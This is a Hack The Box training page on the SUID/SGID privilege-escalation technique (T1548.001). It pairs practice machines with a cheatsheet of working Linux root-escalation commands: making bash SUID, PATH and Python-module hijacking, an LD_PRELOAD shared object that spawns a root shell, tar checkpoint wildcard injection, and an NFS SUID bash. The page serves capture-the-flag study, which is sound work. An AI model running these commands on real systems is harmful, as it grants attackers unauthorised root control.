Search everything Ctrl K
T1548.001

Setuid and Setgid

Sub-technique of T1548 Abuse Elevation Control Mechanism

Running a SUID binary as root that lets you read, write or spawn a shell.

How it shows up on Hack The Box

Run find / -perm -4000 and compare against what is normal for the distro. Anything unusual (a custom binary in /usr/local/bin or something on GTFOBins) is almost always the path.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Linux privilege escalation › Checks

SUID binaries 
find / -perm -4000 -type f 2>/dev/null
SGID binaries 
find / -perm -2000 -type f 2>/dev/null

Linux privilege escalation › Exploitation

SUID bash once you have root write 
chmod u+s /bin/bash
bash -p
Hijack the command 
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH
Hijacked Python module 
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py

When sudo runs a Python script that imports random and you can write to its folder (or an earlier sys.path entry).

LD_PRELOAD with sudo (env_keep+=LD_PRELOAD) 
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido
tar with a wildcard in a root cron 
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
Create a SUID bash from your machine Attacker 
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash

Then, on the target: /shared/bash -p. Copy a bash that matches the target version.

Tools

Related cheatsheets